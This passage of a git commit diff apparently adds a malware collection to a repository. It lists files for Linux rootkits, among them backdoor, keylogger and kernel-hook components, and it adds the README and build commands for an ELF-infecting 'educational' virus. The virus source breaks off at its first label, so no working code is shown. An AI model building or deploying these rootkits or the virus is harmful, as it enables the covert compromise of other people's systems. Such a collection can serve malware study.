Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendmsg.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendto.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setdomainname.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sethostname.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpriority.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setregid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setreuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsockopt.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/settimeofday.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmdt.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmget.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shutdown.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sigaltstack.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socket.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socketpair.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/stat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/statfs.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapoff.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapon.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlink.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlinkat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syncfs.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysfs.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syslog.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tgkill.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/time.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_create.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_delete.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_getoverrun.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_gettime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_settime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_create.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_gettime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_settime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tkill.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/truncate.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/umount.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlink.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlinkat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/uselib.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ustat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/utime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/vhangup.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/wait4.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/waitid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/write.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/writev.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile.module create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/freebsd.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/krf.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls/internal.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/targeting.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/Makefile create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/krf.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/linux.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls/internal.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/targeting.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/targeting.h create mode 100644 Linux/Rootkits/Adore-ng/.gitignore create mode 100644 Linux/Rootkits/Adore-ng/LICENSE create mode 100644 Linux/Rootkits/Adore-ng/Makefile create mode 100644 Linux/Rootkits/Adore-ng/README.md create mode 100644 Linux/Rootkits/Adore-ng/adore-ng.c create mode 100644 Linux/Rootkits/Adore-ng/adore-ng.h create mode 100644 Linux/Rootkits/Adore-ng/ava.c create mode 100644 Linux/Rootkits/Adore-ng/libinvisible.c create mode 100644 Linux/Rootkits/Adore-ng/libinvisible.h create mode 100644 Linux/Rootkits/Cub3/README.md create mode 100644 Linux/Rootkits/Cub3/config.h create mode 100644 Linux/Rootkits/Cub3/cub3.c create mode 100644 Linux/Rootkits/Cub3/install.sh create mode 100644 Linux/Rootkits/Enyelkm/.github/FUNDING.yml create mode 100644 Linux/Rootkits/Enyelkm/LEEME.txt create mode 100644 Linux/Rootkits/Enyelkm/LICENSE create mode 100644 Linux/Rootkits/Enyelkm/Makefile create mode 100644 Linux/Rootkits/Enyelkm/README.md create mode 100644 Linux/Rootkits/Enyelkm/VERSIONS create mode 100644 Linux/Rootkits/Enyelkm/base.c create mode 100644 Linux/Rootkits/Enyelkm/conectar.c create mode 100644 Linux/Rootkits/Enyelkm/config.h create mode 100644 Linux/Rootkits/Enyelkm/kill.c create mode 100644 Linux/Rootkits/Enyelkm/kill.h create mode 100644 Linux/Rootkits/Enyelkm/ls.c create mode 100644 Linux/Rootkits/Enyelkm/ls.h create mode 100644 Linux/Rootkits/Enyelkm/nat.png create mode 100644 Linux/Rootkits/Enyelkm/read.c create mode 100644 Linux/Rootkits/Enyelkm/read.h create mode 100644 Linux/Rootkits/Enyelkm/remoto.c create mode 100644 Linux/Rootkits/Enyelkm/remoto.h create mode 100644 Linux/Rootkits/Enyelkm/syscalls.h create mode 100644 Linux/Rootkits/Nurupo Rootkit/.github/FUNDING.yml create mode 100644 Linux/Rootkits/Nurupo Rootkit/LICENSE create mode 100644 Linux/Rootkits/Nurupo Rootkit/Makefile create mode 100644 Linux/Rootkits/Nurupo Rootkit/README.md create mode 100644 Linux/Rootkits/Nurupo Rootkit/client.c create mode 100644 Linux/Rootkits/Nurupo Rootkit/config.h create mode 100644 Linux/Rootkits/Nurupo Rootkit/rootkit.c create mode 100644 Linux/Rootkits/Randkit/.gitignore create mode 100644 Linux/Rootkits/Randkit/LICENSE create mode 100644 Linux/Rootkits/Randkit/Makefile create mode 100644 Linux/Rootkits/Randkit/README.md create mode 100644 Linux/Rootkits/Randkit/examples/Makefile create mode 100644 Linux/Rootkits/Randkit/examples/example.sh create mode 100644 Linux/Rootkits/Randkit/examples/original.txt create mode 100644 Linux/Rootkits/Randkit/examples/unrandom.py create mode 100644 Linux/Rootkits/Randkit/fops/Makefile create mode 100644 Linux/Rootkits/Randkit/fops/randkit_fops.c create mode 100644 Linux/Rootkits/Randkit/tests/Makefile create mode 100644 Linux/Rootkits/Randkit/tests/fdrandom.c create mode 100644 Linux/Rootkits/Randkit/tests/getrandom.c create mode 100644 Linux/Rootkits/Randkit/tests/writefdrandom.c create mode 100644 Linux/Rootkits/Randkit/tests/xor128.c create mode 100644 Linux/Rootkits/Randkit/xor128/Makefile create mode 100644 Linux/Rootkits/Randkit/xor128/randkit_xor128.c create mode 100644 Linux/Rootkits/Randkit/zero/Makefile create mode 100644 Linux/Rootkits/Randkit/zero/randkit_zero.c create mode 100644 Linux/Rootkits/Reptile/.gitignore create mode 100644 Linux/Rootkits/Reptile/Kconfig create mode 100644 Linux/Rootkits/Reptile/Makefile create mode 100644 Linux/Rootkits/Reptile/README.md create mode 100644 Linux/Rootkits/Reptile/configs/defconfig create mode 100644 Linux/Rootkits/Reptile/kernel/Kbuild create mode 100644 Linux/Rootkits/Reptile/kernel/backdoor.c create mode 100644 Linux/Rootkits/Reptile/kernel/dir.c create mode 100644 Linux/Rootkits/Reptile/kernel/encrypt/encrypt.c create mode 100644 Linux/Rootkits/Reptile/kernel/file.c create mode 100644 Linux/Rootkits/Reptile/kernel/include/backdoor.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/config.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/dir.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/encrypt.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/file.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/module.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/network.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/proc.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/string_helpers.h create mode 100644 Linux/Rootkits/Reptile/kernel/include/util.h create mode 100644 Linux/Rootkits/Reptile/kernel/khook/engine.c create mode 100644 Linux/Rootkits/Reptile/kernel/khook/engine.h create mode 100644 Linux/Rootkits/Reptile/kernel/khook/engine.lds create mode 100644 Linux/Rootkits/Reptile/kernel/khook/internal.h create mode 100644 Linux/Rootkits/Reptile/kernel/khook/x86/.gitignore create mode 100644 Linux/Rootkits/Reptile/kernel/khook/x86/Makefile create mode 100644 Linux/Rootkits/Reptile/kernel/khook/x86/README.md create mode 100644 Linux/Rootkits/Reptile/kernel/khook/x86/hook.c create mode 100644 Linux/Rootkits/Reptile/kernel/khook/x86/stub.S create mode 100644 Linux/Rootkits/Reptile/kernel/khook/x86/stub.inc create mode 100644 Linux/Rootkits/Reptile/kernel/khook/x86/stub32.inc create mode 100644 Linux/Rootkits/Reptile/kernel/kmatryoshka/Kbuild create mode 100644 Linux/Rootkits/Reptile/kernel/kmatryoshka/kmatryoshka.c create mode 100644 Linux/Rootkits/Reptile/kernel/loader/loader.c create mode 100644 Linux/Rootkits/Reptile/kernel/main.c create mode 100644 Linux/Rootkits/Reptile/kernel/module.c create mode 100644 Linux/Rootkits/Reptile/kernel/network.c create mode 100644 Linux/Rootkits/Reptile/kernel/proc.c create mode 100644 Linux/Rootkits/Reptile/kernel/string_helpers.c create mode 100644 Linux/Rootkits/Reptile/kernel/util.c create mode 100644 Linux/Rootkits/Reptile/scripts/bashrc create mode 100644 Linux/Rootkits/Reptile/scripts/destringify.pl create mode 100644 Linux/Rootkits/Reptile/scripts/installer.sh create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_patches create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_series create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/.version create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/confdata.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/gconf.glade create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/mconf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/qconf.cc create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.tab.c_shipped create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.y create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/Makefile.br create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/foo.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/Makefile create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/conf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/confdata.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/expr.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/gconf.glade create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/lkc.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/mconf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/merge_config.sh create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/qconf.cc create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.tab.c_shipped create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.y create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/GNUmakefile create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/README create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/config.sh create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/lxdialog/check-lxdialog.sh create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/gconf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/conf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/confdata.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/util.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/Makefile create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/.timestamp create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/lxdialog/menubox.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/.pc/applied-patches create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/GNUmakefile create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/Makefile create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/Makefile.br create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/POTFILES.in create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/README.buildroot create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/check.sh create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/conf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/confdata.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/config.sh create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/expr.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/expr.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/foo.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/gconf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/gconf.glade create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/images.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/kxgettext.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/list.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lkc.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lkc_proto.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/.gitignore create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/BIG.FAT.WARNING create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/check-lxdialog.sh create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/checklist.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/dialog.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/inputbox.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/menubox.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/textbox.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/util.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/yesno.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/mconf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/menu.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/merge_config.sh create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/nconf.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/nconf.gui.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/nconf.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/01-kconfig-kernel-to-buildroot.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/06-br-build-system-integration.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/10-br-build-system.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/100-kconfig-generic-env.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/101-kconfig-build.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/11-use-mktemp-for-lxdialog.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/12-fix-glade-file-path.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/14-support-out-of-tree-config.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/15-fix-qconf-moc-rule.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/16-fix-space-to-de-select-options.patch create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/patches/series create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/qconf.cc create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/qconf.h create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/streamline_config.pl create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/symbol.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/util.c create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/zconf.gperf create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/zconf.hash.c_shipped create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/zconf.l create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/zconf.lex.c_shipped create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/zconf.tab.c_shipped create mode 100644 Linux/Rootkits/Reptile/scripts/kconfig/zconf.y create mode 100644 Linux/Rootkits/Reptile/scripts/lib/Unescape.pm create mode 100644 Linux/Rootkits/Reptile/scripts/random.sh create mode 100644 Linux/Rootkits/Reptile/scripts/rule create mode 100644 Linux/Rootkits/Reptile/scripts/start create mode 100644 Linux/Rootkits/Reptile/userland/Makefile create mode 100644 Linux/Rootkits/Reptile/userland/client/client.c create mode 100644 Linux/Rootkits/Reptile/userland/client/listener.c create mode 100644 Linux/Rootkits/Reptile/userland/client/packet.c create mode 100644 Linux/Rootkits/Reptile/userland/cmd.c create mode 100644 Linux/Rootkits/Reptile/userland/crypto/aes.c create mode 100644 Linux/Rootkits/Reptile/userland/crypto/sha1.c create mode 100644 Linux/Rootkits/Reptile/userland/include/aes.h create mode 100644 Linux/Rootkits/Reptile/userland/include/config.h create mode 100644 Linux/Rootkits/Reptile/userland/include/custom_rol32.h create mode 100644 Linux/Rootkits/Reptile/userland/include/pel.h create mode 100644 Linux/Rootkits/Reptile/userland/include/sha1.h create mode 100644 Linux/Rootkits/Reptile/userland/include/util.h create mode 100644 Linux/Rootkits/Reptile/userland/shell.c create mode 100644 Linux/Rootkits/Reptile/userland/transport/pel.c create mode 100644 Linux/Rootkits/Rooty/Makefile create mode 100644 Linux/Rootkits/Rooty/Module.symvers create mode 100644 Linux/Rootkits/Rooty/README.md create mode 100644 Linux/Rootkits/Rooty/art/init.png create mode 100644 Linux/Rootkits/Rooty/art/ioctl-control.png create mode 100644 Linux/Rootkits/Rooty/art/keylogger.png create mode 100644 Linux/Rootkits/Rooty/art/ssh-access.png create mode 100644 Linux/Rootkits/Rooty/art/ssh-init.png create mode 100644 Linux/Rootkits/Rooty/art/ssh-init2.png create mode 100644 Linux/Rootkits/Rooty/art/vncd-init.png create mode 100644 Linux/Rootkits/Rooty/art/vncd-running.png create mode 100644 Linux/Rootkits/Rooty/docs/3_PT1-2_41-s39_CELEBI_SUSKI.pdf create mode 100644 Linux/Rootkits/Rooty/docs/Praca Inżynierska - Karol Celebi.pdf create mode 100644 Linux/Rootkits/Rooty/init create mode 100644 Linux/Rootkits/Rooty/ioctl.h create mode 100644 Linux/Rootkits/Rooty/ioctl/Makefile create mode 100644 Linux/Rootkits/Rooty/ioctl/ioctl create mode 100644 Linux/Rootkits/Rooty/ioctl/ioctl.c create mode 100644 Linux/Rootkits/Rooty/keylogger.h create mode 100644 Linux/Rootkits/Rooty/keymap.h create mode 100644 Linux/Rootkits/Rooty/modules.order create mode 100644 Linux/Rootkits/Rooty/ping.py create mode 100644 Linux/Rootkits/Rooty/proc_fs_hide.h create mode 100644 Linux/Rootkits/Rooty/rooty create mode 100644 Linux/Rootkits/Rooty/rooty.c create mode 100644 Linux/Rootkits/Rooty/rooty.ko create mode 100644 Linux/Rootkits/Rooty/rooty.mod.c create mode 100644 Linux/Rootkits/Rooty/rooty.mod.o create mode 100644 Linux/Rootkits/Rooty/rooty.o create mode 100644 Linux/Rootkits/Rooty/socket_hide.h create mode 100644 Linux/Rootkits/Rooty/ssh.h create mode 100644 Linux/Rootkits/Rooty/sshd/Makefile create mode 100644 Linux/Rootkits/Rooty/sshd/sshd create mode 100644 Linux/Rootkits/Rooty/sshd/sshd.c create mode 100644 Linux/Rootkits/Rooty/syscall_table.h create mode 100644 Linux/Rootkits/Rooty/vnc.h create mode 100644 Linux/Rootkits/Rooty/vncd/Makefile create mode 100644 Linux/Rootkits/Rooty/vncd/vnc-server.c create mode 100644 Linux/Rootkits/Rooty/vncd/vncd create mode 100644 Linux/Rootkits/Self Titled Project 4/.gitignore create mode 100644 Linux/Rootkits/Self Titled Project 4/Makefile create mode 100644 Linux/Rootkits/Self Titled Project 4/README.md create mode 100644 Linux/Rootkits/Self Titled Project 4/README.txt create mode 100644 Linux/Rootkits/Self Titled Project 4/rootkit.c create mode 100644 Linux/Rootkits/Self Titled Project 4/testRootPart.c create mode 100644 Linux/Rootkits/Sutekh/Makefile create mode 100644 Linux/Rootkits/Sutekh/README.TXT create mode 100644 Linux/Rootkits/Sutekh/rootswitch.c create mode 100644 Linux/Rootkits/Sutekh/sutekh.c diff --git a/Linux/Infectors/Cranky-data/LICENSE b/Linux/Infectors/Cranky-data/LICENSE new file mode 100644 index 0000000..99d47c6 --- /dev/null +++ b/Linux/Infectors/Cranky-data/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2016 Eddie Kim + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Linux/Infectors/Cranky-data/README.md b/Linux/Infectors/Cranky-data/README.md new file mode 100644 index 0000000..b59481f --- /dev/null +++ b/Linux/Infectors/Cranky-data/README.md @@ -0,0 +1,21 @@ +Cranky's Data Virus +======================================== +(for educational purpose only!) + +This application is used as my demonstration for: +How to Create a Virus Using the Assembly Language + + +Description: +------------ +This is an educational virus meant for infecting 32-bit ELF executables on Linux. +This virus uses the data segment infection method +This virus only infects ELF executables in the same directory + +To assemble: +----------- +``` +> nasm -f elf -F dwarf -g cranky_data_virus.asm +> ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o +``` + diff --git a/Linux/Infectors/Cranky-data/cranky_data_virus.asm b/Linux/Infectors/Cranky-data/cranky_data_virus.asm new file mode 100644 index 0000000..afa4d73 --- /dev/null +++ b/Linux/Infectors/Cranky-data/cranky_data_virus.asm @@ -0,0 +1,344 @@ +;; nasm -f elf -F dwarf -g cranky_data_virus.asm +;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o + +section .text + global v_start + +v_start: 